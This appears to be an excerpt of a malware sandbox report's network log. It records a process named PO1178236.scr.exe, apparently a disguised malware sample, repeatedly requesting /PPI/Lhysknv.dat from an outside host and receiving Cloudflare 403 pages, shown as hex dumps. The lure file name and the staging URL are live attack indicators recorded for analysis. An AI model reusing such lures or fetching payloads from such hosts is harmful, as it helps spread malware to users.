65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:46 UTC	1369	IN	Data Raw: 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 Data Ascii: d! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content
2025-01-09 07:28:46 UTC	1369	IN	Data Raw: 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>
2025-01-09 07:28:46 UTC	1369	IN	Data Raw: 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 36 33 32 64 63 62 34 33 35 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 Data Ascii: er sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6632dcb4358</strong></span> <span class="cf-footer-separator
2025-01-09 07:28:46 UTC	1010	IN	Data Raw: 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 36 33 32 64 63 62 34 33 35 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4e 69 34 77 4d 44 41 77 Data Ascii: ript> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6632dcb4358',t:'MTczNjQwNzcyNi4wMDAw
2025-01-09 07:28:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49779	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:47 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:47 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5giw9a%2Bmd9%2BmrZgfDXsBzI%2B97oezJIQVWl%2FA4bLBkLG%2BkIMb%2FOqf0bTg0o82lstbC4Y2pVui5RAF3f0E2nKpaU1oXnY0Kv%2FAgMl2BvLIXGTbzk7gpZcr6VhzswdKC0K4r21GBrxYmpjt2QFf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b666de5f0c94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1485&min_rtt=1479&rtt_var=566&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1912246&cwnd=146&unsent_bytes=0&cid=e59dbe77673e2d72&ts=124&x=0"
2025-01-09 07:28:47 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:47 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:28:47 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:28:47 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 36 36 64 65 35 66 30 63 39 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b666de5f0c94</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:28:47 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 36 36 64 65 35 66 30 63 39 34 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4e 79 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b666de5f0c94',t:'MTczNjQwNzcyNy4wMDAwMDA=
2025-01-09 07:28:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49780	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:47 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:47 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fs82iuS7Ee5h0KeeYgtzrHszFqi5%2FirM1y%2Bv5zK5duVqYX%2FQrhT8GWei0j9zh3xSzEvsq1CojEAyeeIoH2f%2B%2FUaOKySFeRHweTxsiXU4tsCiEOHx6SqOsfbTzSfdP6vDqo3kwb%2FbpDNwP4VF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b66a8f5b4238-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1611&min_rtt=1603&rtt_var=619&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1744324&cwnd=244&unsent_bytes=0&cid=bc8cd1b6243c8b31&ts=141&x=0"
2025-01-09 07:28:47 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:47 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:28:47 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:28:47 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 36 61 38 66 35 62 34 32 33 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b66a8f5b4238</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:28:47 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 36 61 38 66 35 62 34 32 33 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b66a8f5b4238',t:'MTczNjQwNzcyNy4wMDAwMDA='}
2025-01-09 07:28:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49781	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:48 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:48 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:03 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h43tsXtzwJZ2BNlBCDAzbc3Xr64fNGnDdqov%2Fj2w%2BLqLlVnT7D7KdOCLqw4HwiYhcw9WzW4UjHPA8EeQuUYKZm7IphOr%2BWKoIIH8f2hOV6%2FSqjBiz50IAahX%2BM5YKBinii4RHdnrqc5rQSks"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b66e4bb941f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1864&min_rtt=1857&rtt_var=712&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1520833&cwnd=216&unsent_bytes=0&cid=d1aaa514fbc6f9c2&ts=133&x=0"
2025-01-09 07:28:48 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:48 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
